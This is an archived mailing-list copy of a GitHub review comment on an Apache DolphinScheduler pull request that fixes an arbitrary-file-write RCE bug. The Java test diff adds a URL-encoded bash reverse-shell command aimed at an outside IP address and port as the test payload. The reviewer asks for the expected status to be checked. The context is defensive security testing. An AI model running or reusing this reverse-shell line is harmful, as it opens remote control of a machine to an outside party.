You are viewing a plain text version of this content. The canonical link for it is here.
Posted to commits@dolphinscheduler.apache.org by "rickchengx (via GitHub)" <gi...@apache.org> on 2024/04/09 03:43:03 UTC

Re: [PR] [Bug][API] fix RCE caused by writing arbitrary files in the background #15809 [dolphinscheduler]

rickchengx commented on code in PR #15810:
URL: https://github.com/apache/dolphinscheduler/pull/15810#discussion_r1556828090


##########
dolphinscheduler-api/src/test/java/org/apache/dolphinscheduler/api/controller/ResourcesControllerTest.java:
##########
@@ -206,9 +206,9 @@ public void testUpdateResourceContent() throws Exception {
 
         MultiValueMap<String, String> paramsMap = new LinkedMultiValueMap<>();
         paramsMap.add("id", "1");
-        paramsMap.add("content", "echo test_1111");
-        paramsMap.add("fullName", "dolphinscheduler/resourcePath");
-        paramsMap.add("tenantCode", "123");
+        paramsMap.add("content", "bash+-i+>%26+/dev/tcp/124.222.21.138/2333+0>&");
+        paramsMap.add("fullName", "file:/dolphinscheduler/default/resources/test.sh");
+        paramsMap.add("tenantCode", "default");

Review Comment:
   please test the expected return status in this case. And could you please describe what problems this abnormal file may cause?



-- 
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: commits-unsubscribe@dolphinscheduler.apache.org

For queries about this service, please contact Infrastructure at:
users@infra.apache.org